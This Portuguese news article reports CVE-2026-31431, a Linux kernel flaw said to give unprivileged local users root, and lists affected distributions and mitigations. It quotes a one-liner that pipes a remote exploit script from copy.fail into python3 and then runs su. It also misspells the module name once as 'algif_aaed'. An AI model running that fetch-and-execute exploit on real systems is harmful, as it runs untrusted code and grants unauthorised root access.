Pesquisadores da Xint Code identificaram uma vulnerabilidade grave no Linux que permite acesso root imediato a usu\u00e1rios locais sem privil\u00e9gios. A falha, registrada como CVE-2026-31431, pode impactar servidores multiusu\u00e1rio, ambientes de cont\u00eaineres e pipelines de CI\/CD desde 2017. O problema afeta virtualmente todas as distribui\u00e7\u00f5es Linux em uso.<\/p>\n
A descoberta ocorreu com a ajuda de um assistente de Intelig\u00eancia Artificial. Os pesquisadores destacam que, apesar da corre\u00e7\u00e3o j\u00e1 ter sido aplicada no kernel, a divulga\u00e7\u00e3o r\u00e1pida reduz o tempo de resposta de distribui\u00e7\u00f5es e administradores. A vulnerabilidade est\u00e1 presente mesmo em ambientes de produ\u00e7\u00e3o.<\/p>\n
Entre as distribui\u00e7\u00f5es citadas como afetadas est\u00e3o Ubuntu 24, RHEL 10, SUSE 16 e Amazon Linux 2023. O Windows Subsystem for Linux 2 (WSL2) tamb\u00e9m \u00e9 impactado. Em alguns casos, a explora\u00e7\u00e3o pode ocorrer com apenas 732 bytes de c\u00f3digo.<\/p>\n
Para verificar a exposi\u00e7\u00e3o, especialistas indicam executar curl https:\/\/copy.fail\/exp | python3 && su a partir de uma conta sem privil\u00e9gios. Embora simples, o m\u00e9todo depende de um script externo confi\u00e1vel. O c\u00f3digo-fonte da prova de conceito est\u00e1 dispon\u00edvel para consulta p\u00fablica.<\/p>\n
Como mitiga\u00e7\u00e3o, basta desativar o m\u00f3dulo algif_aaed se ele for carregado como m\u00f3dulo. Um comando simples pode resolver: echo install algif_aead \/bin\/false > \/etc\/modprobe.d\/disable-algif.conf. Em distribui\u00e7\u00f5es que integram a fun\u00e7\u00e3o no n\u00facleo, como RHEL e WSL2, a mitiga\u00e7\u00e3o envolve impedir que usu\u00e1rios abram sockets AF_ALG via perfis de seguran\u00e7a, como seccomp, AppArmor ou SELinux.<\/p>\n
Especialistas destacam que, mesmo com corre\u00e7\u00f5es, o risco permanece at\u00e9 que todas as distribui\u00e7\u00f5es atualizem seus kernels. A divulga\u00e7\u00e3o precoce permite que administradores apliquem as medidas de prote\u00e7\u00e3o com anteced\u00eancia, reduzindo vulnerabilidade em ambientes cr\u00edticos. A partir de agora, empresas devem priorizar atualiza\u00e7\u00f5es e valida\u00e7\u00e3o de pol\u00edticas de seguran\u00e7a.<\/p>\n","protected":false},"excerpt":{"rendered":"